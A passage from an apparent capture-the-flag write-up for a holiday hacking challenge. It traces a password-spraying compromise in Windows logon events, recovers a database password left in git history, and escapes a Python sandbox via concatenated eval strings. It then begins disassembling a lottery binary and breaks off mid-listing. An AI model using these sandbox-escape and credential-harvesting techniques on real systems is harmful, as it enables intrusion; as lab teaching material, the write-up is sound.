<EventID Qualifiers="">4625<Data Name="TargetUserName">matthew.smith</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">melissa.smith</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.brown</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.davis</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.johnson</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.jones</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.lee</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.miller</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.smith</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.taylor</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.williams</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michael.wilson</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">michelle.smith</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mike.brown</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mike.johnson</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mike.jones</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mike.miller</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mike.smith</Data>
<EventID Qualifiers="">4625<Data Name="TargetUserName">mike.williams</Data>
<EventID Qualifiers="">4624<Data Name="TargetUserName">minty.candycane</Data>
...(snip)...
</div></code></pre>
<p>Details of the log.</p>
<pre class="hljs"><code><div><EventID Qualifiers="">4624</EventID>
...(snip)...
<Data Name="TargetUserName">minty.candycane</Data>
...(snip)...
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">38283</Data>
</div></code></pre>
<p><code>minty.candycane</code> may be compromised by <code>172.31.254.101:38283</code>.</p>
<h3 id="dev-ops-fail">Dev Ops Fail</h3>
<p><code>Find Sparkle's password</code></p>
<p>Find the password committed in the past from the git repository.</p>
<pre class="hljs"><code><div>elf@dd635505040e:~$ cd kcconfmgmt
elf@dd635505040e:~/kcconfmgmt$ git log | grep password -B 4
commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Sat Nov 10 19:51:52 2018 -0500
Add user model for authentication, bcrypt password storage
--
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
</div></code></pre>
<p>It is written as <code>removed username/password from config.js</code> in a commit message.
The commit message shows that <code>config.js</code> contained username and password.</p>
<pre class="hljs"><code><div>elf@dd635505040e:~/kcconfmgmt$ git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def
need to be updated before use
diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
<span class="hljs-comment">--- a/server/config/config.js</span>
<span class="hljs-comment">+++ /dev/null</span>
<span class="hljs-meta">@@ -1,4 +0,0 @@</span>
<span class="hljs-deletion">-// Database URL</span>
<span class="hljs-deletion">-module.exports = {</span>
<span class="hljs-deletion">- 'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'</span>
<span class="hljs-deletion">-};</span>
diff --git a/server/config/config.js.def b/server/config/config.js.def
new file mode 100644
index 0000000..740eba5
<span class="hljs-comment">--- /dev/null</span>
<span class="hljs-comment">+++ b/server/config/config.js.def</span>
<span class="hljs-meta">@@ -0,0 +1,4 @@</span>
<span class="hljs-addition">+// Database URL</span>
<span class="hljs-addition">+module.exports = {</span>
<span class="hljs-addition">+ 'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'</span>
<span class="hljs-addition">+};</span>
</div></code></pre>
<p>So Sparkle's password is <code>twinkletwinkletwinkle</code> and username is <code>sredberry</code>.</p>
<h3 id="python-escape-from">Python Escape from</h3>
<p><code>run ./i_escaped</code></p>
<pre class="hljs"><code><div><span class="hljs-meta">>>> </span>os = eval(<span class="hljs-string">'__im'</span> + <span class="hljs-string">'port__("os")'</span>)
<span class="hljs-meta">>>> </span>eval(<span class="hljs-string">'os.sys'</span>+<span class="hljs-string">'tem("./i_escaped")'</span>)
</div></code></pre>
<h3 id="the-sleighbell">The Sleighbell</h3>
<p><code>Winning the sleighbell lottery for Shinny Upatree.</code></p>
<pre class="hljs"><code><div>elf@a3148ac3c82b:~$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 996!
Sorry - better luck next year!
</div></code></pre>
<p>First, Disassemble the program.</p>
<pre class="hljs"><code><div>elf@a3148ac3c82b:~$ objdump -d -M intel sleighbell-lotto | grep '<main>:' -A57
00000000000014ca <main>:
14ca: 55 push rbp
14cb: 48 89 e5 mov rbp,rsp
14ce: 48 83 ec 10 sub rsp,0x10
14d2: 48 8d 3d d6 56 00 00 lea rdi,[rip+0x56d6] # 6baf <_IO_stdin_used+0x557f>
14d9: e8 92 f4 ff ff call 970 <getenv@plt>
14de: 48 85 c0 test rax,rax
14e1: 75 16 jne 14f9 <main+0x2f>
14e3: 48 8d 3d d6 56 00 00 lea rdi,[rip+0x56d6] # 6bc0 <_IO_stdin_used+0x5590>
14ea: e8 21 f4 ff ff call 910 <puts@plt>
14ef: bf ff ff ff ff mov edi,0xffffffff
14f4: e8 27 f4 ff ff call 920 <exit@plt>
14f9: bf 00 00 00 00 mov edi,0x0
14fe: e8 dd f4 ff ff call 9e0 <time@plt>
1503: 89 c7 mov edi,eax
1505: e8 96 f4 ff ff call 9a0 <srand@plt>
150a: 48 8d 3d 3f 58 00 00 lea rdi,[rip+0x583f] # 6d50 <_IO_stdin_used+0x5720>
1511: e8 fa f3 ff ff call 910 <puts@plt>
1516: bf 01 00 00 00 mov edi,0x1
151b: e8 40 f4 ff ff call 960 <sleep@plt>
1520: e8 9b f4 ff ff call 9c0 <rand@plt>
1525: 89 c1 mov ecx,eax
1527: ba ad 8b db 68 mov edx,0x68db8bad
152c: 89 c8 mov eax,ecx
152e: f7 ea imul edx
1530: c1 fa 0c sar edx,0xc
1533: 89 c8 mov eax,ecx
1535: c1 f8 1f sar eax,0x1f
1538: 29 c2 sub edx,eax
153a: 89 d0 mov eax,edx
153c: 89 45 fc mov DWORD PTR [rbp-0x4],eax
153f: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
1542: 69 c0 10 27 00 00 imul eax,eax,0x2710
1548: 29 c1 sub ecx,eax
154a: 89 c8 mov eax,ecx
154c: 89 45 fc mov DWORD PTR [rbp-0x4],eax
154f: 48 8d 3d 56 58 00 00 lea rdi,[rip+0x5856] # 6dac <_IO_stdin_used+0x577c>
1556: b8 00 00 00 00 mov eax,0x0
155b: e8 90 f3 ff ff call 8f0 <printf@plt>
1560: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
1563: 89 c6 mov esi,eax
1565: 48 8d 3d 58 58 00 00 lea rdi,[rip+0x5858] # 6dc4 <_IO_stdin_used+0x5794>
156c: b8 00 00 00 00 mov eax,0x0
1571: e8 7a f3 ff ff call 8f0 <printf@plt>
1576: 48 8d 3d 4a 58 00 00 lea rdi,[rip+0x584a] # 6dc7 <_IO_stdin_used+0x5797>
157d: e8 8e f3 ff ff call 910 <puts@plt>
1582: 81 7d fc c9 04 00 00 cmp DWORD PTR [rbp-0x4],0x4c9